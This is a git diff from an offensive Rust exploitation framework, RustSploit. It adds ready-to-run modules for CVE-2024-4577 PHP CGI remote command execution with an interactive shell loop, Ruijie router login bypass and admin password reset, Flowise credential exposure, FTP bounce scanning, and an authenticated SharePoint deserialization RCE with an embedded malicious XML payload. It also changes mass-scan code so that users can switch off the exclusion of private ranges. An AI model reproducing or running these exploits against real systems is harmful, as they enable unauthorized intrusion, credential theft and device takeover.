}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: abus_hits.txt): ".cyan());
tokio::io::stdout().flush().await?;
io::stdout().flush()?;
let mut outfile = String::new();
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut outfile).await?;
io::stdin().read_line(&mut outfile)?;
let outfile = outfile.trim();
let outfile = if outfile.is_empty() { "abus_hits.txt" } else { outfile };
let outfile = outfile.to_string();
@@ -275,9 +271,9 @@ async fn run_mass_scan() -> Result<()> {
println!(" 1. Standard Check (Command: id)");
println!(" 2. Custom Command");
print!("{}", "Select option [1-2] (default 1): ".cyan());
tokio::io::stdout().flush().await?;
io::stdout().flush()?;
let mut mode_str = String::new();
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut mode_str).await?;
io::stdin().read_line(&mut mode_str)?;
let mode = match mode_str.trim() {
"2" => ScanMode::CustomCommand,
_ => ScanMode::StandardCheck,
@@ -286,19 +282,11 @@ async fn run_mass_scan() -> Result<()> {
let mut custom_cmd = String::new();
if let ScanMode::CustomCommand = mode {
print!("{}", "[?] Enter Custom Command: ".cyan());
tokio::io::stdout().flush().await?;
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut custom_cmd).await?;
io::stdout().flush()?;
std::io::stdin().read_line(&mut custom_cmd)?;
custom_cmd = custom_cmd.trim().to_string();
}
let custom_cmd = Arc::new(custom_cmd);
let mut exclusions = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
let exclusions = Arc::new(exclusions);
let client = Client::builder()
.danger_accept_invalid_certs(true)
@@ -368,7 +356,7 @@ async fn run_mass_scan() -> Result<()> {
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
execute(target).await
@@ -7,6 +7,7 @@ use std::path::Path;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use std::io::Write;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use tokio::sync::Semaphore;
use crate::utils::escape_shell_command;
@@ -168,10 +169,19 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
std::io::stdout().flush()?;
let mut excl_choice = String::new();
std::io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
@@ -220,7 +230,7 @@ async fn run_mass_scan() -> Result<()> {
/// Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
display_banner();
@@ -0,0 +1,50 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::time::Duration;
/// Flowise 1.6.5 Authentication Bypass (CVE-2024-31621)
/// Unauthenticated access to /API/V1/credentials endpoint.
///
/// Credits:
/// - Discovered by DhiyaneshDK (Nuclei Template)
const DEFAULT_TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Normalize target
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
let url = url.trim_end_matches('/').to_string();
println!("[*] Target: {}", url.cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let check_url = format!("{}/API/V1/credentials", url);
println!("[*] Checking {}...", check_url.cyan());
let resp = client.get(&check_url).send().await?;
if resp.status().is_success() {
let text = resp.text().await?;
if text.contains("credentialName") && text.contains("updatedDate") {
println!("{}", "[+] Target is VULNERABLE! Credentials exposed.".green().bold());
println!("[+] Response preview: {:.200}...", text);
} else {
println!("{}", "[-] Endpoint accessible but content doesn't match expected leak.".yellow());
}
} else {
println!("{}", "[-] Request failed or credentials protected.".red());
}
Ok(())
}
fn display_banner() {
println!("{}", "Flowise Authentication Bypass (CVE-2024-31621)".green().bold());
}
+1
View File
@@ -1,2 +1,3 @@
pub mod cve_2025_59528_flowise_rce;
pub mod cve_2024_31621;
@@ -34,7 +34,7 @@ use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use chrono::Local;
use crate::utils::{normalize_target, prompt_input};
use crate::utils::normalize_target;
const DEFAULT_TIMEOUT_SECS: u64 = 15;
const MASS_SCAN_CONCURRENCY: usize = 100;
@@ -319,6 +319,23 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
std::io::stdout().flush()?;
let mut excl_choice = String::new();
std::io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: fortiweb_hits.txt): ".cyan());
std::io::stdout().flush()?; // Use std::io for flush/read
@@ -353,14 +370,6 @@ async fn run_mass_scan() -> Result<()> {
custom_payload = custom_payload.trim().to_string();
}
let custom_payload = Arc::new(custom_payload);
let mut exclusions = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
let exclusions = Arc::new(exclusions);
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
let checked = Arc::new(AtomicUsize::new(0));
@@ -423,8 +432,18 @@ async fn run_mass_scan() -> Result<()> {
}
}
async fn prompt_input_std(msg: &str) -> Result<String> {
print!("{}", msg);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
display_banner();
@@ -439,7 +458,7 @@ pub async fn run(target: &str) -> Result<()> {
println!(" {} Test SQL injection only", "3.".bold());
println!();
let choice = prompt_input("Select option [1-3]: ").await?;
let choice = prompt_input_std("Select option [1-3]: ").await?;
match choice.as_str() {
"1" => {
@@ -448,7 +467,7 @@ pub async fn run(target: &str) -> Result<()> {
"{}",
"[!] WARNING: This will write files to the target system!".yellow().bold()
);
let confirm = prompt_input("Continue? [y/N]: ").await?;
let confirm = prompt_input_std("Continue? [y/N]: ").await?;
if !confirm.eq_ignore_ascii_case("y") {
println!("{}", "[-] Operation cancelled.".red());
return Ok(());
@@ -472,10 +491,10 @@ pub async fn run(target: &str) -> Result<()> {
// Interactive command loop
println!();
let interactive = prompt_input("Enter interactive mode? [y/N]: ").await?;
let interactive = prompt_input_std("Enter interactive mode? [y/N]: ").await?;
if interactive.eq_ignore_ascii_case("y") {
loop {
let cmd = prompt_input("cmd> ").await?;
let cmd = prompt_input_std("cmd> ").await?;
if cmd.is_empty() || cmd == "exit" || cmd == "quit" {
break;
}
@@ -492,7 +511,7 @@ pub async fn run(target: &str) -> Result<()> {
"2" => {
// Direct command execution (assumes webshell already deployed)
println!();
let cmd = prompt_input("Enter command to execute: ").await?;
let cmd = prompt_input_std("Enter command to execute: ").await?;
if cmd.is_empty() {
return Err(anyhow!("Command cannot be empty"));
}
+266
View File
@@ -0,0 +1,266 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::tokio::AsyncFtpStream;
use suppaftp::Status;
use std::time::Duration;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use tokio::time::timeout;
use regex::Regex;
use crate::utils::{
prompt_existing_file, prompt_default, prompt_int_range,
load_lines
};
const DEFAULT_TIMEOUT_SECS: u64 = 8;
const CONNECT_TIMEOUT_MS: u64 = 4000;
struct FtpCreds {
ip: String,
port: u16,
user: String,
pass: String,
}
pub async fn run(target: &str) -> Result<()> {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Bounce Vulnerability Scanner ║".cyan());
println!("{}", "║ Tests for PORT command abuse (External/Internal) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
// Interactive Mode Check
let effective_target = if target.is_empty() || target == "interactive" || target == "load" {
println!("{}", "[*] Interactive Mode".cyan());
println!("[1] Load targets from file (supporting 'IP:PORT:USER:PASS')");
println!("[2] Scan single target");
let choice = prompt_int_range("Select mode", 1, 1, 2).await?;
if choice == 1 {
let f = prompt_existing_file("Path to credentials file").await?;
f
} else {
let t = prompt_default("Target (IP:PORT or IP:PORT:USER:PASS)", "").await?;
t
}
} else {
target.to_string()
};
// Check if target is a file or single target
let targets = if std::path::Path::new(&effective_target).is_file() {
println!("{}", format!("[!] Parsing file '{}'", effective_target).yellow());
parse_ftp_results(&effective_target).await?
} else {
// Single target handling
parse_single_target(&effective_target)?
};
if targets.is_empty() {
return Err(anyhow!("No valid targets found."));
}
println!("{}", format!("[*] Loaded {} credential/target sets.", targets.len()).green());
let concurrency = prompt_int_range("Max concurrent checks", 50, 1, 500).await? as usize;
let output_file = prompt_default("Output file for vulnerabilities", "ftp_bounce_results.txt").await?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_vuln = Arc::new(AtomicUsize::new(0));
let total = targets.len();
// Stats loop
let s_checked = stats_checked.clone();
let s_vuln = stats_vuln.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(3)).await;
let checked = s_checked.load(Ordering::Relaxed);
let vuln = s_vuln.load(Ordering::Relaxed);
println!(
"[*] Progress: {}/{} checked, {} Vulnerable found",
checked, total, vuln.to_string().red().bold()
);
if checked >= total { break; }
}
});
// Run Scans
let mut tasks = Vec::new();
for target_creds in targets {
// Safe permit acquisition
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => break, // Check if semaphore closed
};
let sc = stats_checked.clone();
let sv = stats_vuln.clone();
let of = output_file.clone();
tasks.push(tokio::spawn(async move {
if check_bounce_vulnerability(&target_creds, &of).await {
sv.fetch_add(1, Ordering::Relaxed);
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
}));
}
// Wait all
for t in tasks {
let _ = t.await;
}
println!("\n{}", "[*] Scan Completed.".green().bold());
println!("[+] Results saved to {}", output_file.cyan());
Ok(())
}
fn parse_single_target(raw: &str) -> Result<Vec<FtpCreds>> {
// Attempt parse as "IP:PORT:USER:PASS"
// Regex matches 4 groups separated by colons
let re_full = Regex::new(r"^([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
if let Some(caps) = re_full.captures(raw) {
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
return Ok(vec![FtpCreds { ip, port, user, pass }]);
}
// Fallback: Just IP or IP:PORT, assumes anonymous
let (ip, port) = if raw.matches(':').count() == 1 {
let parts: Vec<&str> = raw.split(':').collect();
let p_val = parts.get(1).unwrap_or(&"21").parse().unwrap_or(21);
(parts[0].to_string(), p_val)
} else if !raw.contains(':') {
(raw.to_string(), 21)
} else {
// Ambiguous format, possibly IPv6? Ignore for now or treat as string
(raw.to_string(), 21)
};
// If it *looks* like an IP, return default creds
if !ip.is_empty() {
return Ok(vec![FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() }]);
}
Err(anyhow!("Invalid target format. Expected IP:PORT:USER:PASS or IP/IP:PORT"))
}
async fn parse_ftp_results(path: &str) -> Result<Vec<FtpCreds>> {
let lines = load_lines(path)?;
let mut creds = Vec::new();
// Standard Format: IP:PORT:USER:PASS
let re_std = Regex::new(r"^([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
// Legacy/Old formats support (optional but good for transitions)
// IP:PORT [ANONYMOUS...]
let re_anon_old = Regex::new(r"^([^:]+):(\d+)\s+\[ANONYMOUS").map_err(|e| anyhow!("Regex error: {}", e))?;
for line in lines {
if let Some(caps) = re_std.captures(&line) {
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
creds.push(FtpCreds { ip, port, user, pass });
} else if let Some(caps) = re_anon_old.captures(&line) {
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
creds.push(FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() });
}
}
Ok(creds)
}
async fn check_bounce_vulnerability(creds: &FtpCreds, output_file: &str) -> bool {
let addr = format!("{}:{}", creds.ip, creds.port);
// Connect
let mut ftp = match timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(f)) => f,
_ => return false,
};
// Login
if ftp.login(&creds.user, &creds.pass).await.is_err() {
return false;
}
// Set Checks
let mut is_vuln = false;
let mut ext_vuln = false;
let mut int_vuln = false;
// Test 1: External Bounce (Google DNS 8.8.8.8:53)
// PORT command format: h1,h2,h3,h4,p1,p2
let ext_test = "PORT 8,8,8,8,0,53";
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(ext_test, &[Status::CommandOk])).await {
Ok(Ok(resp)) => {
// Check for 200 OK
if (resp.status as u32) == 200 {
ext_vuln = true;
is_vuln = true;
}
},
_ => {}
}
// Test 2: Internal Bounce (Common Gateways)
// 192.168.1.1:80 => 192,168,1,1,0,80
// 10.0.0.1:80 => 10,0,0,1,0,80
// We try a few. If ANY work, we flag it.
let int_tests = vec![
"PORT 192,168,1,1,0,80",
"PORT 10,0,0,1,0,80",
"PORT 172,16,0,1,0,80",
"PORT 127,0,0,1,0,22" // Bounce to self?
];
for cmd in int_tests {
if timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(cmd, &[Status::CommandOk])).await
.ok()
.and_then(|r| r.ok())
.map(|r| (r.status as u32) == 200)
.unwrap_or(false)
{
int_vuln = true;
is_vuln = true;
break;
}
}
let _ = ftp.quit().await;
if is_vuln {
let msg = format!(
"{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]",
addr, creds.user, creds.pass,
if ext_vuln { "YES".red().bold() } else { "NO".dimmed() },
if int_vuln { "YES".red().bold() } else { "NO".dimmed() }
);
println!("\r[+] Found: {}", msg);
let file_log = format!("{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]\n",
addr, creds.user, creds.pass,
if ext_vuln { "YES" } else { "NO" },
if int_vuln { "YES" } else { "NO" });
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(output_file).await {
let _ = file.write_all(file_log.as_bytes()).await;
}
}
is_vuln
}
+1
View File
@@ -1 +1,2 @@
pub mod pachev_ftp_path_traversal_1_0;
pub mod ftp_bounce_test;
@@ -300,6 +300,23 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
io::stdout().flush()?;
let mut excl_choice = String::new();
io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: hikvision_hits.txt): ".cyan());
io::stdout().flush()?;
@@ -332,14 +349,6 @@ async fn run_mass_scan() -> Result<()> {
custom_payload = custom_payload.trim().to_string();
}
let custom_payload = Arc::new(custom_payload);
let mut exclusions = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
let exclusions = Arc::new(exclusions);
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
let checked = Arc::new(AtomicUsize::new(0));
@@ -403,7 +412,7 @@ async fn run_mass_scan() -> Result<()> {
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
display_banner();
+5
View File
@@ -14,8 +14,11 @@ pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod php;
pub mod roundcube;
pub mod ruijie;
pub mod flowise;
pub mod sharepoint;
pub mod http2;
pub mod jenkins;
pub mod mongo;
@@ -27,3 +30,5 @@ pub mod fortinet;
pub mod exim;
pub mod dos;
pub mod dlink;
pub mod vmware;
pub mod telnet;
+112
View File
@@ -0,0 +1,112 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::io::Write;
use std::time::Duration;
// use crate::utils::{normalize_target, prompt_yes_no}; // standard utils if available, mimicking other modules
/// PHP CGI Argument Injection (CVE-2024-4577)
/// Exploit for PHP running on Windows via XAMPP or similar setups.
///
/// Credits:
/// - Discovered by Orange Tsai
/// - PoC logic based on watchTowr Labs
const DEFAULT_TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Normalize target
let url = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("http://{}", target)
};
let url = url.trim_end_matches('/');
println!("[*] Target: {}", url.cyan());
// Prompt for check or exploit
println!();
println!("{}", "[*] Select operation mode:".cyan());
println!(" 1. Check vulnerability (safe)");
println!(" 2. Execute command (RCE)");
println!();
print!("{}", "Select option [1-2]: ".green());
use std::io::Write;
std::io::stdout().flush()?;
let mut choice = String::new();
std::io::stdin().read_line(&mut choice)?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
match choice.trim() {
"1" => check_vuln(&client, url).await?,
"2" => exploit(&client, url).await?,
_ => println!("{}", "[-] Invalid option".red()),
}
Ok(())
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ PHP CGI Argument Injection (CVE-2024-4577) ║".cyan());
println!("{}", "║ Target: Windows PHP (XAMPP etc.) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
async fn check_vuln(client: &Client, url: &str) -> Result<()> {
println!("{}", "[*] Checking for vulnerability...".yellow());
// Simple echo check
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
let payload = "<?php echo 'VULNERABLE_CVE_2024_4577'; die; ?>";
let resp = client.post(&exploit_url)
.body(payload)
.send()
.await?;
let text = resp.text().await?;
if text.contains("VULNERABLE_CVE_2024_4577") {
println!("{}", "[+] Target seems VULNERABLE!".green().bold());
Ok(())
} else {
println!("{}", "[-] Target does not appear vulnerable.".red());
Ok(())
}
}
async fn exploit(client: &Client, url: &str) -> Result<()> {
println!("{}", "[*] Entering RCE mode...".yellow());
loop {
print!("{}", "php> ".green().bold());
std::io::stdout().flush()?;
let mut cmd = String::new();
std::io::stdin().read_line(&mut cmd)?;
let cmd = cmd.trim();
if cmd.is_empty() { continue; }
if cmd == "exit" || cmd == "quit" { break; }
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
// We use system() to execute command
let payload = format!("<?php system('{}'); die; ?>", cmd);
match client.post(&exploit_url).body(payload).send().await {
Ok(resp) => {
let text = resp.text().await?;
println!("{}", text);
}
Err(e) => println!("[-] Request failed: {}", e),
}
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod cve_2024_4577;
+18 -9
View File
@@ -519,6 +519,23 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
std::io::stdout().flush()?;
let mut excl_choice = String::new();
std::io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: react2shell_hits.txt): ".cyan());
std::io::stdout().flush()?;
@@ -551,14 +568,6 @@ async fn run_mass_scan() -> Result<()> {
custom_cmd = custom_cmd.trim().to_string();
}
let custom_cmd = Arc::new(custom_cmd);
let mut exclusions = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
let exclusions = Arc::new(exclusions);
let client = Client::builder()
.danger_accept_invalid_certs(true)
@@ -709,7 +718,7 @@ async fn prompt(msg: &str) -> Result<String> {
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
print_banner();
@@ -0,0 +1,56 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::time::Duration;
/// Ruijie RG-EW1200G Password Reset (CVE-2023-4169)
/// Vulnerable endpoint /api/sys/set_passwd allows auth bypass to reset admin password.
const DEFAULT_TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
display_banner();
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
let url = url.trim_end_matches('/').to_string();
println!("[*] Target: {}", url.cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
use std::io::Write;
print!("{}", "Enter new admin password: ".green());
std::io::stdout().flush()?;
let mut new_pass = String::new();
std::io::stdin().read_line(&mut new_pass)?;
let new_pass = new_pass.trim();
let payload = serde_json::json!({
"username": "web",
"admin_new": new_pass
});
let exploit_url = format!("{}/api/sys/set_passwd", url);
println!("[*] Attempting password reset at {}...", exploit_url.cyan());
let resp = client.post(&exploit_url)
.json(&payload)
.send()
.await?;
let text = resp.text().await?;
if text.contains(r#""result":"ok""#) {
println!("{}", "[+] Password Reset Successful!".green().bold());
println!("[+] New password: {}", new_pass);
} else {
println!("{}", "[-] Exploit failed.".red());
}
Ok(())
}
fn display_banner() {
println!("{}", "Ruijie Password Reset (CVE-2023-4169)".green().bold());
}
@@ -0,0 +1,55 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::time::{Duration, SystemTime, UNIX_EPOCH};
/// Ruijie RG-EW1200G Login Bypass (CVE-2023-4415)
/// Bypasses login by sending specific JSON structure to /api/sys/login.
const DEFAULT_TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
display_banner();
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
let url = url.trim_end_matches('/').to_string();
println!("[*] Target: {}", url.cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
// Exploit Payload
// Timestamp logic from Nuclei template: 1695218596000 (ms)
// We can use current time or static. Code uses current.
let now = SystemTime::now().duration_since(UNIX_EPOCH)?.as_millis();
let payload = serde_json::json!({
"username": "2",
"password": "admin",
"timestamp": now
});
let exploit_url = format!("{}/api/sys/login", url);
println!("[*] Sending exploit to {}...", exploit_url.cyan());
let resp = client.post(&exploit_url)
.json(&payload)
.send()
.await?;
let text = resp.text().await?;
if text.contains(r#""result":"ok""#) { // Nuclei checks for "result":"ok"
println!("{}", "[+] Login Bypass Successful!".green().bold());
println!("[+] Response: {}", text);
} else {
println!("{}", "[-] Exploit failed.".red());
}
Ok(())
}
fn display_banner() {
println!("{}", "Ruijie Login Bypass (CVE-2023-4415)".green().bold());
}
+2
View File
@@ -0,0 +1,2 @@
pub mod cve_2023_4415;
pub mod cve_2023_4169;
@@ -0,0 +1,183 @@
use anyhow::{anyhow, Result};
use colored::Colorize;
use reqwest::{Client, StatusCode};
use serde_json::Value;
use std::time::Duration;
/// Microsoft SharePoint RCE (CVE-2024-38094)
/// Authenticated RCE via Deserialization in .bdcm file upload.
///
/// Credits:
/// - PoC by testanull
/// - Vulnerability in SharePoint Server
///
/// Note: This exploit requires authentication (Site Owner privileges typically).
/// It uploads a malicious .bdcm file and triggers deserialization.
///
/// Warning: This exploits a deserialization vulnerability using a gadget from the public PoC.
const DEFAULT_TIMEOUT_SECS: u64 = 30;
// Base64 payload from PoC (Truncated for brevity in this initial write, specific payload generation recommended)
// The PoC uses a Gadget that triggers on deserialization.
const POC_PAYLOAD_XML_TEMPLATE: &str = r#"<?xml version="1.0" encoding="utf-8"?><Model xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BDCMetadata" xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog"><LobSystems><LobSystem Name="QjtvWXFT" Type="DotNetAssembly"><Properties><Property Name="WsdlFetchUrl" Type="System.String">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property><Property Name="Class" Type="System.String">RevertToSelf</Property></Properties><LobSystemInstances><LobSystemInstance Name="QjtvWXFT"></LobSystemInstance></LobSystemInstances><Entities><Entity Name="Products" DefaultDisplayName="Products" Namespace="ODataDemo" Version="1.0.0.0" EstimatedInstanceCount="2000"><Properties><Property Name="ExcludeFromOfflineClientForList" Type="System.String">False</Property>
<Property Name="Class" Type="System.String">Microsoft.SharePoint.Administration.SPClickthroughUsageDefinition, Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c</Property></Properties><Identifiers><Identifier Name="ID" TypeName="System.String" /></Identifiers><Methods><Method Name="ParseLogFileEntry" DefaultDisplayName="Create Product" IsStatic="false"><Parameters><Parameter Name="@ID" Direction="In"><TypeDescriptor Name="ID" DefaultDisplayName="ID" TypeName="System.String" CreatorField="true" IdentifierName="ID">
<DefaultValues>
<DefaultValue MethodInstanceName="CreateProduct" Type="System.String">xxxx</DefaultValue></DefaultValues>
</TypeDescriptor></Parameter>
<Parameter Name="@CreateProduct" Direction="Return"><TypeDescriptor Name="CreateProduct1" TypeName="System.Object"></TypeDescriptor></Parameter></Parameters><MethodInstances><MethodInstance Name="CreateProduct" Type="SpecificFinder" ReturnParameterName="@CreateProduct"><AccessControlList><AccessControlEntry Principal="STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string"><Right BdcRight="Execute" /></AccessControlEntry></AccessControlList></MethodInstance></MethodInstances></Method></Methods></Entity></Entities></LobSystem></LobSystems></Model>"#;
pub async fn run(target: &str) -> Result<()> {
display_banner();
// 1. Get Target inputs
use std::io::Write;
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
let url = url.trim_end_matches('/').to_string();
println!("[*] Target: {}", url.cyan());
print!("{}", "Username (DOMAIN\\User or User): ".green());
std::io::stdout().flush()?;
let mut username = String::new();
std::io::stdin().read_line(&mut username)?;
let username = username.trim().to_string();
print!("{}", "Password: ".green());
std::io::stdout().flush()?;
let mut password = String::new();
std::io::stdin().read_line(&mut password)?;
let password = password.trim().to_string();
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
// Note: Reqwest doesn't natively support NTLM. This exploit might fail against NTLM-only.
// We proceed assuming Basic/Digest/Claims or that user authentication works with standard headers.
println!("{}", "[*] Attempting authentication...".yellow());
// Step 0: Get ServerRelativeUrl of the current web context
// This is critical for sub-sites (e.g. http://site.com/subsite)
let web_info_url = format!("{}/_api/web?$select=ServerRelativeUrl", url);
let web_resp = client.get(&web_info_url)
.header("Accept", "application/json;odata=verbose")
.basic_auth(&username, Some(&password))
.send()
.await?;
